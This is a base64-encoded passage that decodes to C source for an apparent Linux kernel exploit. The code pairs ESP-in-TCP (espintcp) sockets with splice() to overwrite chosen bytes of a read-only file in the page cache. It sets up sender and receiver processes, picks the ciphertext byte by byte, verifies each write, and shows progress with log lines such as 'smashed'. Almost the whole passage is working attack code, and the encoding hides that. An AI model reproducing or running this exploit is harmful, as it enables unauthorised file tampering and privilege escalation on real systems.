Sk7CglwcmVmaXgubGVuID0gaHRvbnMoc2l6ZW9mKHByZWZpeCkgKyBGUkFHX0xFTik7CglwcmVmaXguZXNwWzBdID0gMHgwMDsKCXByZWZpeC5lc3BbMV0gPSAweDAwOwoJcHJlZml4LmVzcFsyXSA9IDB4MDE7CglwcmVmaXguZXNwWzNdID0gMHgwMDsKCXN0b3JlX2JlMzIoJnByZWZpeC5lc3BbNF0sIGFjdGl2ZV9lc3Bfc2VxKTsKCW1lbWNweSgmcHJlZml4LmVzcFs4XSwgYWN0aXZlX2VzcF9nY21faXYsIHNpemVvZihhY3RpdmVfZXNwX2djbV9pdikpOwoKCWZkID0gb3Blbih0YXJnZXRfZmlsZSwgT19SRE9OTFkgfCBPX0NMT0VYRUMpOwoJaWYgKGZkIDwgMCkKCQlkaWUoInNlbmRlciBvcGVuIHRhcmdldCIpOwoJc29jayA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSB8IFNPQ0tfQ0xPRVhFQywgMCk7CglpZiAoc29jayA8IDApCgkJZGllKCJzZW5kZXIgc29ja2V0Iik7CglpZiAoc2V0c29ja29wdChzb2NrLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksICZvbmUsIHNpemVvZihvbmUpKSA8IDApCgkJZGllKCJzZW5kZXIgVENQX05PREVMQVkiKTsKCWlmIChjb25uZWN0KHNvY2ssIChzdHJ1Y3Qgc29ja2FkZHIgKikmZHN0LCBzaXplb2YoZHN0KSkgPCAwKQoJCWRpZSgic2VuZGVyIGNvbm5lY3QiKTsKCglzZW50ID0gc2VuZChzb2NrLCAmcHJlZml4LCBzaXplb2YocHJlZml4KSwgMCk7CglpZiAoc2VudCAhPSAoc3NpemVfdClzaXplb2YocHJlZml4KSkKCQlkaWUoInNlbmRlciBzZW5kIHByZWZpeCIpOwoKCXVzbGVlcChTRU5ERVJfUFJFX1NQTElDRV9VUyk7CgoJaWYgKHBpcGUocCkgPCAwKQoJCWRpZSgic2VuZGVyIHBpcGUiKTsKCW9mZiA9IHRhcmdldF9zcGxpY2Vfb2ZmOwoJc3RhcnRfb2ZmID0gb2ZmOwoJcmV0ID0gc3BsaWNlKGZkLCAmb2ZmLCBwWzFdLCBOVUxMLCBGUkFHX0xFTiwgMCk7CglpZiAocmV0ICE9IEZSQUdfTEVOKQoJCWRpZSgic2VuZGVyIHNwbGljZSBmaWxlIHRvIHBpcGUiKTsKCglyZXQgPSBzcGxpY2UocFswXSwgTlVMTCwgc29jaywgTlVMTCwgRlJBR19MRU4sIDApOwoJaWYgKHJldCA8IDApCgkJZGllKCJzZW5kZXIgc3BsaWNlIHBpcGUgdG8gdGNwIik7CgoJcHJpbnRmKCJzZW5kZXJfbnNfdWlkPSVkIGV1aWQ9JWQgcHJlZml4X3NlbmQ9JXpkIHNwbGljZV90b190Y3A9JXpkIGZpbGVfb2ZmPSVsbGQgZmlsZV9vZmZfbmV4dD0lbGxkXG4iLAoJICAgICAgIGdldHVpZCgpLCBnZXRldWlkKCksIHNlbnQsIHJldCwgKGxvbmcgbG9uZylzdGFydF9vZmYsCgkgICAgICAgKGxvbmcgbG9uZylvZmYpOwoKCWNsb3NlKHBbMF0pOwoJY2xvc2UocFsxXSk7CgljbG9zZShzb2NrKTsKCWNsb3NlKGZkKTsKCV9leGl0KHJldCA9PSBGUkFHX0xFTiA/IDAgOiAzKTsKfQoKc3RhdGljIGludCBydW5fdHJpZ2dlcl9wYWlyKHZvaWQpCnsKCWludCBwaXBlZmRbMl0sIHN0X3J4LCBzdF90eDsKCXBpZF90IHJ4LCB0eDsKCglpZiAocGlwZShwaXBlZmQpIDwgMCkKCQlkaWUoInBpcGUiKTsKCglyeCA9IGZvcmsoKTsKCWlmIChyeCA8IDApCgkJZGllKCJmb3JrIHJlY2VpdmVyIik7CglpZiAocnggPT0gMCkgewoJCWNsb3NlKHBpcGVmZFswXSk7CgkJaWYgKHNldG5zKG5zYl9mZCwgQ0xPTkVfTkVXTkVUKSA8IDApCgkJCWRpZSgicmVjZWl2ZXIgc2V0bnMgbnNCIik7CgkJcmVjZWl2ZXIocGlwZWZkWzFdKTsKCX0KCgl0eCA9IGZvcmsoKTsKCWlmICh0eCA8IDApCgkJZGllKCJmb3JrIHNlbmRlciIpOwoJaWYgKHR4ID09IDApIHsKCQljbG9zZShwaXBlZmRbMV0pOwoJCXNlbmRlcihwaXBlZmRbMF0pOwoJfQoKCWNsb3NlKHBpcGVmZFswXSk7CgljbG9zZShwaXBlZmRbMV0pOwoJaWYgKHdhaXRwaWQodHgsICZzdF90eCwgMCkgPCAwKQoJCWRpZSgid2FpdCBzZW5kZXIiKTsKCWlmICh3YWl0cGlkKHJ4LCAmc3RfcngsIDApIDwgMCkKCQlkaWUoIndhaXQgcmVjZWl2ZXIiKTsKCglwcmludGYoInNlbmRlcl9zdGF0dXM9JWQgcmVjZWl2ZXJfc3RhdHVzPSVkXG4iLCBzdF90eCwgc3RfcngpOwoJaWYgKCFXSUZFWElURUQoc3RfdHgpIHx8IFdFWElUU1RBVFVTKHN0X3R4KSAhPSAwIHx8CgkgICAgIVdJRkVYSVRFRChzdF9yeCkgfHwgV0VYSVRTVEFUVVMoc3RfcngpICE9IDApCgkJcmV0dXJuIC0xOwoJcmV0dXJuIDA7Cn0KCnN0YXRpYyB1aW50NjRfdCBjaGVja2VkX2J5dGVfcmFuZ2VfbGFzdCh1aW50NjRfdCBieXRlX29mZiwgc2l6ZV90IGJ5dGVfbGVuKQp7Cgl1aW50NjRfdCBuID0gKHVpbnQ2NF90KWJ5dGVfbGVuOwoKCWlmIChuID09IDApIHsKCQlmcHJpbnRmKHN0ZGVyciwgImJ5dGUgcmFuZ2UgaXMgZW1wdHlcbiIpOwoJCWV4aXQoMik7Cgl9CglpZiAobiAtIDEgPiBVSU5UNjRfTUFYIC0gYnl0ZV9vZmYpIHsKCQlmcHJpbnRmKHN0ZGVyciwgImJ5dGUgcmFuZ2Ugb3ZlcmZsb3dzIHVpbnQ2NF90XG4iKTsKCQlleGl0KDIpOwoJfQoJcmV0dXJuIGJ5dGVfb2ZmICsgbiAtIDE7Cn0KCnN0YXRpYyB2b2lkIGRyYXdfc21hc2hfZnJhbWUoY29uc3QgdW5zaWduZWQgY2hhciAqZGVzaXJlZCwgc2l6ZV90IGRlc2lyZWRfbGVuLAoJCQkgICAgIGNvbnN0IHVuc2lnbmVkIGNoYXIgKmxpdmUsIHNpemVfdCBpZHhfY3VycmVudCwKCQkJICAgICBzaXplX3QgY2hhbmdlZCwgc2l6ZV90IHNraXBwZWQsIGludCBmaXJzdF9kcmF3KQp7CglzaXplX3QgZG9uZSAgID0gY2hhbmdlZCArIHNraXBwZWQ7CglzaXplX3QgZmlsbGVkID0gZGVzaXJlZF9sZW4gPyBkb25lICogRlJBTUVfQkFSX1cgLyBkZXNpcmVkX2xlbiA6IEZSQU1FX0JBUl9XOwoJc2l6ZV90IHJvdywgY29sLCBiaSwgaTsKCgkvKiBTYXZlIGN1cnNvciwganVtcCB0byByb3cgMSwgYnVmZmVyIHRoZSB3aG9sZSBmcmFtZSBpbnRvIG9uZSB3cml0ZS4gKi8KCXN0YXRpYyBjaGFyIGZyYW1lX2J1Zls4MTkyXTsKCXNldHZidWYoc3Rkb3V0LCBmcmFtZV9idWYsIF9JT0ZCRiwgc2l6ZW9mKGZyYW1lX2J1ZikpOwoJaWYgKCFmaXJzdF9kcmF3KQoJCXByaW50ZigiXDAzM1tzXDAzM1s/MjVsXDAzM1sxOzFIIik7CgoJLyog4pSA4pSAIGhlYWRlciDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAgKi8KCXByaW50ZigiXHJcMDMzWzJLIiBDX0JDWU4gIlsqXSIgQ19SRVNFVAoJICAgICAgICIgc21hc2hpbmcgJXp1IGJ5dGVzIGludG8gcmVhZC1vbmx5IHBhZ2UgY2FjaGUiCgkgICAgICAgIiAgY2hhbmdlZD0iIENfQkdSTiAiJXp1IiBDX1JFU0VUCgkgICAgICAgIiAgc2tpcHBlZD0iIENfRElNICIlenUiIENfUkVTRVQKCSAgICAgICAiICByZW1haW5pbmc9IiBDX0JZTFcgIiV6dSIgQ19SRVNFVCAiXG4iLAoJICAgICAgIGRlc2lyZWRfbGVuLCBjaGFuZ2VkLCBza2lwcGVkLAoJICAgICAgIGRvbmUgPCBkZXNpcmVkX2xlbiA/IGRlc2lyZWRfbGVuIC0gZG9uZSA6IChzaXplX3QpMCk7CgoJLyog4pSA4pSAIGhleCBkdW1wIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgCAqLwoJZm9yIChyb3cgPSAwOyByb3cgPCBGUkFNRV9QQVlMT0FEX1JPV1M7IHJvdysrKSB7CgkJLyogY29sLTAgaGlnaGxpZ2h0IGJvcnJvd3MgdGhlIGhlYWRlcidzIGxhc3QgdHJhaWxpbmcgc3BhY2UgKi8KCQlpbnQgY29sMF9oaSA9IChpZHhfY3VycmVudCA8IGRlc2lyZWRfbGVuICYmCgkJCSAgICAgICByb3cgKiAxNiA9PSBpZHhfY3VycmVudCk7CgkJcHJpbnRmKCJcclwwMzNbMksiIENfRElNICIgICUwNHp4JXMiIENfUkVTRVQsCgkJICAgICAgIHJvdyAqIDE2LCBjb2wwX2hpID8gIiAiIDogIiAgIik7CgoJCWZvciAoY29sID0gMDsgY29sIDwgMTY7IGNvbCsrKSB7CgkJCWJpID0gcm93ICogMTYgKyBjb2w7CgkJCWludCBjdXIgPSAoaWR4X2N1cnJlbnQgPCBkZXNpcmVkX2xlbiAmJiBiaSA9PSBpZHhfY3VycmVudCk7CgoJCQlpZiAoY29sID09IDgpIHsKCQkJCS8qIG1pZC1nYXAgc3BhY2UgYmVjb21lcyAnWycgd2hlbiBjb2wgOCBpcyBjdXJyZW50ICovCgkJCQlwcmludGYoY3VyID8gIlsiIDogIiAiKTsKCQkJCWlmIChjdXIpIHsKCQkJCQlwcmludGYoQ19CWUxXICIlMDJ4XSIgQ19SRVNFVCwgbGl2ZVtiaV0pOwoJCQkJCWNvbnRpbnVlOwoJCQkJfQoJCQl9CgoJCQlpZiAoYmkgPj0gZGVzaXJlZF9sZW4pIHsgcHJpbnRmKCIgICAiKTsgY29udGludWU7IH0KCgkJCWlmIChiaSA8IGlkeF9jdXJyZW50KSB7CgkJCQlwcmludGYobGl2ZVtiaV0gPT0gZGVzaXJlZFtiaV0KCQkJCSAgICAgICA/IENfQkdSTiAiJTAyeCAiIENfUkVTRVQKCQkJCSAgICAgICA6IENfQlJFRCAiJTAyeCAiIENfUkVTRVQsIGxpdmVbYmldKTsKCQkJfSBlbHNlIGlmIChjdXIpIHsKCQkJCS8qIGNvbCAwOiAnWycgd2FzIHRoZSBoZWFkZXIncyBib3Jyb3dlZCBzcGFjZQoJCQkJICogY29sIDEtNywgOS0xNTogJ1xiJyBlYXRzIHRoZSBwcmVjZWRpbmcgYnl0ZSdzIHNwYWNlICovCgkJCQlwcmludGYoY29sID09IDAKCQkJCSAgICAgICA/IENfQllMVyAiWyUwMnhdIiBDX1JFU0VUCgkJCQkgICAgICAgOiAiXGIiIENfQllMVyAiWyUwMnhdIiBDX1JFU0VULCBsaXZlW2JpXSk7CgkJCX0gZWxzZSB7CgkJCQlwcmludGYoQ19ESU0gIiUwMnggIiBDX1JFU0VULCBkZXNpcmVkW2JpXSk7CgkJCX0KCQl9CgkJcHJpbnRmKCJcbiIpOwoJfQoKCS8qIOKUgOKUgCBwcm9ncmVzcyBiYXIg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAICovCglwcmludGYoIlxyXDAzM1sySyAgWyIgQ19CR1JOKTsKCWZvciAoaSA9IDA7IGkgPCBmaWxsZWQ7IGkrKykgICAgICAgICAgcHJpbnRmKCI9Iik7CglwcmludGYoQ19SRVNFVCBDX0RJTSk7Cglmb3IgKGkgPSBmaWxsZWQ7IGkgPCBGUkFNRV9CQVJfVzsgaSsrKSBwcmludGYoIi0iKTsKCXByaW50ZihDX1JFU0VUICJdICIgQ19CV0hUICIlenUiIENfUkVTRVQgIi8iIENfRElNICIlenUiIENfUkVTRVQgIiAoJXp1JSUpXG4iLAoJICAgICAgIGRvbmUsIGRlc2lyZWRfbGVuLAoJICAgICAgIGRlc2lyZWRfbGVuID8gZG9uZSAqIDEwMCAvIGRlc2lyZWRfbGVuIDogKHNpemVfdCkxMDApOwoKCS8qIOKUgOKUgCBzZXBhcmF0b3Ig4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAICovCglwcmludGYoIlxyXDAzM1sySyIgQ19ESU0KCSAgICAgICAi4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAIgoJICAgICAgIENfUkVTRVQgIlxuIik7CgoJZmZsdXNoKHN0ZG91dCk7CglzZXR2YnVmKHN0ZG91dCwgTlVMTCwgX0lPTkJGLCAwKTsKCWlmICghZmlyc3RfZHJhdykKCQlwcmludGYoIlwwMzNbPzI1aFwwMzNbdSIpOyAgLyogcmVzdG9yZSBjdXJzb3IgdG8gbG9nIGFyZWEgKi8KfQoKc3RhdGljIGludCByZXBsYWNlX2V4aXN0aW5nX2J5dGVzX2FmdGVyKHVpbnQ2NF90IGJ5dGVfb2ZmLAoJCQkJCWNvbnN0IHVuc2lnbmVkIGNoYXIgKmRlc2lyZWQsCgkJCQkJc2l6ZV90IGRlc2lyZWRfbGVuLAoJCQkJCXVpbnQ2NF90IGZpbGVfc2l6ZSkKewoJdWludDY0X3QgbGFzdCA9IGNoZWNrZWRfYnl0ZV9yYW5nZV9sYXN0KGJ5dGVfb2ZmLCBkZXNpcmVkX2xlbik7CglzaXplX3QgaWR4LCBjaGFuZ2VkID0gMCwgc2tpcHBlZCA9IDA7Cgl1bnNpZ25lZCBjaGFyIGxpdmVfc3RhdGVbUEFZTE9BRF9MRU5dOwoJaW50IGZkX2luaXQ7CgoJaWYgKGxhc3QgPj0gZmlsZV9zaXplKSB7CgkJZnByaW50ZihzdGRlcnIsICJieXRlIHJhbmdlIG91dHNpZGUgdGFyZ2V0OiBvZmZzZXQ9JWxsdSBsZW49JXp1IHNpemU9JWxsdVxuIiwKCQkJKHVuc2lnbmVkIGxvbmcgbG9uZylieXRlX29mZiwgZGVzaXJlZF9sZW4sCgkJCSh1bnNpZ25lZCBsb25nIGxvbmcpZmlsZV9zaXplKTsKCQlyZXR1cm4gMjsKCX0KCWlmIChsYXN0ID4gZmlsZV9zaXplIC0gRlJBR19MRU4pIHsKCQlmcHJpbnRmKHN0ZGVyciwKCQkJImNvbGxhdGVyYWwtYWZ0ZXIgbW9kZSByZXF1aXJlcyByZXF1ZXN0ZWQgcmFuZ2UgZW5kIDw9IHNpemUtJWQ6IG9mZnNldD0lbGx1IGxlbj0lenUgc2l6ZT0lbGx1XG4iLAoJCQlGUkFHX0xFTiwgKHVuc2lnbmVkIGxvbmcgbG9uZylieXRlX29mZiwgZGVzaXJlZF9sZW4sCgkJCSh1bnNpZ25lZCBsb25nIGxvbmcpZmlsZV9zaXplKTsKCQlyZXR1cm4gMjsKCX0KCglwcmludGYoQ19CQ1lOICJcblsqXSIgQ19SRVNFVAoJICAgICAgICIgdGltaW5nOiByeF9wcmVfdWxwPSV1dXMgdHhfcHJlX3NwbGljZT0ldXVzIHJ4X3Bvc3RfdWxwPSV1dXNcbiIsCgkgICAgICAgUkVDRUlWRVJfUFJFX1VMUF9VUywgU0VOREVSX1BSRV9TUExJQ0VfVVMsIFJFQ0VJVkVSX1BPU1RfVUxQX1VTKTsKCXByaW50ZihDX0JDWU4gIlsqXSIgQ19SRVNFVAoJICAgICAgICIgcmFuZ2U6IG9mZnNldD0weCVsbHggbGVuPSV6dSBsYXN0PTB4JWxseCIKCSAgICAgICAiIGVuY19sZW49JWQgc3BsaWNlX2xlbj0lZFxuIiwKCSAgICAgICAodW5zaWduZWQgbG9uZyBsb25nKWJ5dGVfb2ZmLCBkZXNpcmVkX2xlbiwKCSAgICAgICAodW5zaWduZWQgbG9uZyBsb25nKWxhc3QsIEVTUF9HQ01fRU5DUllQVEVEX0xFTiwgRlJBR19MRU4pOwoJcHJpbnRmKENfQkNZTiAiWypdIiBDX1JFU0VUCgkgICAgICAgIiB1bmlvbjogdHJhbnNmb3JtZWQ9MHglbGx4LTB4JWxseCIKCSAgICAgICAiIGNvbGxhdGVyYWxfYWZ0ZXI9MHglbGx4LTB4JWxseFxuIiwKCSAgICAgICAodW5zaWduZWQgbG9uZyBsb25nKWJ5dGVfb2ZmLAoJICAgICAgICh1bnNpZ25lZCBsb25nIGxvbmcpKGxhc3QgKyBFU1BfR0NNX0VOQ1JZUFRFRF9MRU4gLSAxKSwKCSAgICAgICAodW5zaWduZWQgbG9uZyBsb25nKShsYXN0ICsgMSksCgkgICAgICAgKHVuc2lnbmVkIGxvbmcgbG9uZykobGFzdCArIEVTUF9HQ01fRU5DUllQVEVEX0xFTiAtIDEpKTsKCXByaW50ZihDX0JDWU4gIlsqXSIgQ19SRVNFVCAiICIpOwoJcHJpbnRfaGV4X2J5dGVzKCJwYXlsb2FkIiwgZGVzaXJlZCwgZGVzaXJlZF9sZW4pOwoJcHJpbnRmKCJcbiIpOwoKCWJ1aWxkX3N0cmVhbTBfdGFibGUoKTsKCXByaW50ZigiXG4iKTsKCgkvKiBzZWVkIGxpdmVfc3RhdGUgZnJvbSB0aGUgZmlsZSBzbyB0aGUgaGV4IGR1bXAgaGFzIHJlYWwgdmFsdWVzICovCglmZF9pbml0ID0gb3Blbih0YXJnZXRfZmlsZSwgT19SRE9OTFkgfCBPX0NMT0VYRUMpOwoJaWYgKGZkX2luaXQgPCAwKSBkaWUoIm9wZW4gbGl2ZV9zdGF0ZSBpbml0Iik7CglpZiAocHJlYWQoZmRfaW5pdCwgbGl2ZV9zdGF0ZSwgZGVzaXJlZF9sZW4sIChvZmZfdClieXRlX29mZikgPCAoc3NpemVfdClkZXNpcmVkX2xlbikKCQlkaWUoInByZWFkIGxpdmVfc3RhdGUgaW5pdCIpOwoJY2xvc2UoZmRfaW5pdCk7CgoJLyogY2xlYXIgc2NyZWVuIHNvIHRoZSBmcmFtZSBzdGFydHMgYXQgYSBrbm93biByb3cgMSAqLwoJcHJpbnRmKCJcMDMzWzJKXDAzM1tIIik7CglkcmF3X3NtYXNoX2ZyYW1lKGRlc2lyZWQsIGRlc2lyZWRfbGVuLCBsaXZlX3N0YXRlLCAwLCAwLCAwLCAxKTsKCgkvKiBwaW4gdGhlIGZyYW1lIHRvIHJvd3MgMS1GUkFNRV9MSU5FUzsgc2Nyb2xsIHJlZ2lvbiBiZWxvdyAqLwoJewoJCXN0cnVjdCB3aW5zaXplIHdzOwoJCWludCB0ciA9IDQwOwoJCWlmIChpb2N0bChTVERPVVRfRklMRU5PLCBUSU9DR1dJTlNaLCAmd3MpID09IDAgJiYgd3Mud3Nfcm93ID4gRlJBTUVfTElORVMpCgkJCXRyID0gKGludCl3cy53c19yb3c7CgkJcHJpbnRmKCJcMDMzWyVkOyVkciIsIEZSQU1FX0xJTkVTICsgMSwgdHIpOwoJCXByaW50ZigiXDAzM1slZDsxSCIsIHRyKTsgIC8qIHBhcmsgY3Vyc29yIGF0IGJvdHRvbSBvZiBzY3JvbGwgcmVnaW9uICovCgkJZmZsdXNoKHN0ZG91dCk7Cgl9CgoJZm9yIChpZHggPSAwOyBpZHggPCBkZXNpcmVkX2xlbjsgaWR4KyspIHsKCQl1aW50NjRfdCBvZmYgPSBieXRlX29mZiArIGlkeDsKCQl1bnNpZ25lZCBjaGFyIGN1cnJlbnQsIGZpbmFsLCBuZWVkX3N0cmVhbTsKCgkJbGl2ZV9zdGF0ZVtpZHhdID0gcmVhZF9ieXRlX2F0KHRhcmdldF9maWxlLCBvZmYpOwoJCWN1cnJlbnQgPSBsaXZlX3N0YXRlW2lkeF07CgoJCWRyYXdfc21hc2hfZnJhbWUoZGVzaXJlZCwgZGVzaXJlZF9sZW4sIGxpdmVfc3RhdGUsIGlkeCwKCQkJCSBjaGFuZ2VkLCBza2lwcGVkLCAwKTsKCgkJaWYgKGN1cnJlbnQgPT0gZGVzaXJlZFtpZHhdKSB7CgkJCXByaW50ZihDX0RJTSAiWy1dIFslenUvJXp1XSArJTA0bGx4IGFscmVhZHk9JTAyeCBza2lwXG4iIENfUkVTRVQsCgkJCSAgICAgICBpZHggKyAxLCBkZXNpcmVkX2xlbiwgKHVuc2lnbmVkIGxvbmcgbG9uZylvZmYsIGN1cnJlbnQpOwoJCQlza2lwcGVkKys7CgkJCWNvbnRpbnVlOwoJCX0KCgkJdGFyZ2V0X3NwbGljZV9vZmYgPSAobG9mZl90KW9mZjsKCQluZWVkX3N0cmVhbSA9IGN1cnJlbnQgXiBkZXNpcmVkW2lkeF07CgkJY2hvb3NlX2l2X2Zvcl9zdHJlYW0wKG5lZWRfc3RyZWFtKTsKCQlhY3RpdmVfZXNwX3NlcSsrOwoKCQlwcmludGYoQ19CQ1lOICJbKl0iIENfUkVTRVQgIiBbJXp1LyV6dV0iCgkJICAgICAgICIgKyUwNGxseCAgIiBDX1JFRCAiJTAyeCIgQ19SRVNFVCAiIC0+ICIgQ19CR1JOICIlMDJ4IiBDX1JFU0VUCgkJICAgICAgICIgIHhvcj0iIENfQ1lBTiAiJTAyeCIgQ19SRVNFVAoJCSAgICAgICAiIHNlcT0iIENfRElNICIldSIgQ19SRVNFVAoJCSAgICAgICAiIG5vbmNlPSIgQ19ESU0gIiV1IiBDX1JFU0VUICJcbiIsCgkJICAgICAgIGlkeCArIDEsIGRlc2lyZWRfbGVuLCAodW5zaWduZWQgbG9uZyBsb25nKW9mZiwKCQkgICAgICAgY3VycmVudCwgZGVzaXJlZFtpZHhdLCBuZWVkX3N0cmVhbSwKCQkgICAgICAgYWN0aXZlX2VzcF9zZXEsIHN0cmVhbTBfbm9uY2VbbmVlZF9zdHJlYW1dKTsKCi8qCgkJcHJpbnRmKENfQkNZTiAiWypdIiBDX1JFU0VUICIgYmVmb3JlOlxuIik7CgkJcHJpbnRfaGV4X3Jvdyh0YXJnZXRfZmlsZSwgb2ZmLCAib3JpZyIsIGN1cnJlbnQsICJ3YW50IiwgZGVzaXJlZFtpZHhdKTsKCgkJcHJpbnRmKENfQkNZTiAiWypdIiBDX1JFU0VUICIgaXY9IiBDX0NZQU4pOwoJCXsKCQkJc2l6ZV90IGs7CgkJCWZvciAoayA9IDA7IGsgPCBzaXplb2YoYWN0aXZlX2VzcF9nY21faXYpOyBrKyspCgkJCQlwcmludGYoIiUwMngiLCBhY3RpdmVfZXNwX2djbV9pdltrXSk7CgkJfQoqLwoJCXByaW50ZihDX1JFU0VUICIgZmlyaW5nIGVzcGludGNwIHNwbGljZS4uLlxuIik7CgoJCWlmIChydW5fdHJpZ2dlcl9wYWlyKCkgPCAwKSB7CgkJCWZwcmludGYoc3RkZXJyLCBDX0JSRUQgIlstXSB0cmlnZ2VyIHBhaXIgZmFpbGVkIGF0IGluZGV4PSV6dVxuIiBDX1JFU0VULCBpZHgpOwoJCQlyZXR1cm4gMjsKCQl9CgoJCWZpbmFsID0gcmVhZF9ieXRlX2F0KHRhcmdldF9maWxlLCBvZmYpOwoJCWxpdmVfc3RhdGVbaWR4XSA9IGZpbmFsOwoKLyoKCQlwcmludGYoQ19CQ1lOICJbKl0iIENfUkVTRVQgIiBhZnRlcjpcbiIpOwoJCXByaW50X2hleF9yb3codGFyZ2V0X2ZpbGUsIG9mZiwgIndhcyIsIGN1cnJlbnQsICJub3ciLCBmaW5hbCk7CiovCgkJaWYgKGZpbmFsID09IGRlc2lyZWRbaWR4XSkgewoJCQlwcmludGYoQ19CR1JOICJbK10iIENfUkVTRVQgIiBzbWFzaGVkIgoJCQkgICAgICAgQ19ESU0gIiAlMDJ4IC0+ICUwMnggIGluZGV4PSV6dSBvZmZzZXQ9KyUwNGxseFxuXG4iIENfUkVTRVQsCgkJCSAgICAgICBjdXJyZW50LCBmaW5hbCwgaWR4LCAodW5zaWduZWQgbG9uZyBsb25nKW9mZik7CgkJCWNoYW5nZWQrKzsKCQkJY29udGludWU7CgkJfQoJCWlmIChmaW5hbCA9PSBjdXJyZW50KSB7CgkJCXByaW50ZihDX0JHUk4gIlstXSIgQ19SRVNFVAoJCQkgICAgICAgIiBmaXhlZCBiZWhhdmlvcjogYnl0ZSB1bmNoYW5nZWQgYXQgaW5kZXg9JXp1IG9mZnNldD0lbGx1XG4iLAoJCQkgICAgICAgaWR4LCAodW5zaWduZWQgbG9uZyBsb25nKW9mZik7CgkJCXJldHVybiAwOwoJCX0KCQlwcmludGYoQ19CUkVEICJbLV0iIENfUkVTRVQKCQkgICAgICAgIiBCVUc6IGJ5dGUgY2hhbmdlZCBidXQgZGVzaXJlZC12YWx1ZSBjaGVjayBtaXNtYXRjaGVkIgoJCSAgICAgICAiIGluZGV4PSV6dSBvZmZzZXQ9JWxsdSBkZXNpcmVkPSUwMnggZ290PSUwMnhcbiIsCgkJICAgICAgIGlkeCwgKHVuc2lnbmVkIGxvbmcgbG9uZylvZmYsIGRlc2lyZWRbaWR4XSwgZmluYWwpOwoJCXJldHVybiAxOwoJfQoKCS8qIGZpbmFsIGZyYW1lOiBhbGwgYnl0ZXMgZG9uZSwgY3Vyc29yIHBhc3QgdGhlIGVuZCAqLwoJZHJhd19zbWFzaF9mcmFtZShkZXNpcmVkLCBkZXNpcmVkX2xlbiwgbGl2ZV9zdGF0ZSwgZGVzaXJlZF9sZW4sCgkJCSBjaGFuZ2VkLCBza2lwcGVkLCAwKTsKCgkvKiByZXN0b3JlIGZ1bGwgc2Nyb2xsIHJlZ2lvbiBhbmQgZHJvcCBjdXJzb3IgYmVsb3cgdGhlIGZyYW1lICovCglwcmludGYoIlwwMzNbclwwMzNbJWQ7MUhcbiIsIEZSQU1FX0xJTkVTICsgMSk7CgoJLyogZmluYWwgdmVyaWZ5IHBhc3MgKi8KCXByaW50ZihDX0JDWU4gIlsqXSIgQ19SRVNFVCAiIHZlcmlmeWluZyAlenUgYnl0ZXMuLi5cbiIsIGRlc2lyZWRfbGVuKTsKCWZvciAoaWR4ID0gMDsgaWR4IDwgZGVzaXJlZF9sZW47IGlkeCsrKSB7CgkJdWludDY0X3Qgb2ZmID0gYnl0ZV9vZmYgKyBpZHg7CgkJdW5zaWduZWQgY2hhciBmaW5hbCA9IHJlYWRfYnl0ZV9hdCh0YXJnZXRfZmlsZSwgb2ZmKTsKCgkJaWYgKGZpbmFsICE9IGRlc2lyZWRbaWR4XSkgewoJCQlwcmludGYoQ19CUkVEICJbLV0iIENfUkVTRVQKCQkJICAgICAgICIgQlVHOiBmaW5hbCB2ZXJpZnkgbWlzbWF0Y2ggaW5kZXg9JXp1IG9mZnNldD0lbGx1IGRlc2lyZWQ9JTAyeCBnb3Q9JTAyeFxuIiwKCQkJICAgICAgIGlkeCwgKHVuc2lnbmVkIGxvbmcgbG9uZylvZmYsIGRlc2lyZWRbaWR4XSwgZmluYWwpOwoJCQlyZXR1cm4gMTsKCQl9Cgl9CgoJcHJpbnRmKENfQkNZTiAiWypdIiBDX1JFU0VUICIgYnl0ZXNfZmxpcF9zdW1tYXJ5IGxlbj0lenUgY2hhbmdlZD0iIENfQkdSTiAiJXp1IiBDX1JFU0VUCgkgICAgICAgIiBza2lwcGVkPSIgQ19ESU0gIiV6dSIgQ19SRVNFVCAiXG4iLAoJICAgICAgIGRlc2lyZWRfbGVuLCBjaGFuZ2VkLCBza2lwcGVkKTsKCWlmIChjaGFuZ2VkID09IDApIHsKCQlmcHJpbnRmKHN0ZGVyciwgImFsbCByZXF1ZXN0ZWQgYnl0ZXMgYWxyZWFkeSBoYWQgZGVzaXJlZCB2YWx1ZXNcbiIpOwoJCXJldHVybiAyOwoJfQoKCXByaW50ZihDX0JHUk4gIlsrXSIgQ19SRVNFVCAiIEJVRzogY2hhbmdlZCByZXF1ZXN0ZWQgY29waWVkIGJ5dGUgcmFuZ2UgdG8gZGVzaXJlZCB2YWx1ZXNcbiIpOwoJcmV0dXJuIDE7Cn0KCnN0YXRpYyB2b2lkIHVzYWdlKGNvbnN0IGNoYXIgKnByb2cpCnsKCWZwcmludGYoc3RkZXJyLCAidX